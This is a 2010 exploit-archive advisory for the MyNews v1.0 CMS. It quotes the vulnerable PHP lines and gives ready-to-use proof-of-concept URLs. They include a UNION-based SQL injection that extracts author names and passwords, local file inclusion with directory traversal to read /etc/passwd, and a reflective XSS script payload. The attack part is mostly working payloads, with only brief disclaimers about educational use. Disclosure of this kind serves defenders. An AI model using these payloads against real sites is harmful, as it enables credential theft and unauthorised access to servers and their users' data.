MyNews v1.0 CMS - Sql Injection, LFI and XSS Vulnerabilities
Posted on 17 May 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>MyNews v1.0 CMS - Sql Injection, LFI and XSS Vulnerabilities</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================================ MyNews v1.0 CMS - Sql Injection, LFI and XSS Vulnerabilities ============================================================ MyNews v1.0 CMS - Sql Injection, local file inclusion and XSS Vulnerabilities Found by: mr_me - http://net-ninja.net/ Advisory: http://www.corelan.be:8800/advisories.php?id=10-040 Dork: "Corelan Security Team" Homepage: http://mynews.magtrb.com/ Download: http://mynews.magtrb.com/download.php?fname=upload/Versions/MyNews+v1.0.zip Greetz: Corelan Security Team http://www.corelan.be:8800/index.php/security/corelan-team-members/ Notes: - Provided 'as is', without any warranty. - Use for educational purposes only. - Do not use this to do anything illegal ! - Corelan cannot be held responsible for any damages this may cause. ****************** Sql Injection PoC: ****************** -------[ SNIP ]----------> article.php, line 10 $sql_query = "select id, title, text, views from ".$prefix."_news where id=".$_GET[id].""; -------[ EOF SNIP ]------> http://[server]/MyNews/index.php?act=article&id=[ SQLI ] http://[server]/MyNews/index.php?act=article&id=-12+union+select+1,2,concat(name,0x3a,pwd),4+from+_authors-- ******************** File Inclusion PoCs: ******************** -------[ SNIP ]----------> index.php, line 18 if (!isset($_GET['act'])) { $act = 'news'; } else { $act = $_GET['act']; } include('./includes/header.php'); require('./includes/'.$act.'.php'); -------[ EOF SNIP ]------> -------[ SNIP ]----------> admin.php, line 65 if(!isset($act)){$act ="index"; } if($act){include("includes/admin/$act.php"); $smarty->assign("act", $act); } -------[ EOF SNIP ]------> 1: http://[server]/MyNews/index.php?act=[ LFI ]%00&id=12 http://[server]/MyNews/index.php?act=../../../../etc/passwd%00&id=12 2 (requires authentication): http://[server]/MyNews/admin.php?act=[ LFI ]%00 http://[server]/MyNews/admin.php?act=../../../../etc/passwd%00 ******************* Reflective XSS PoC: ******************* http://[server]/MyNews/admin.php?act=<script>alert("Found by the Corelan Security Team")</script> # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-17]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>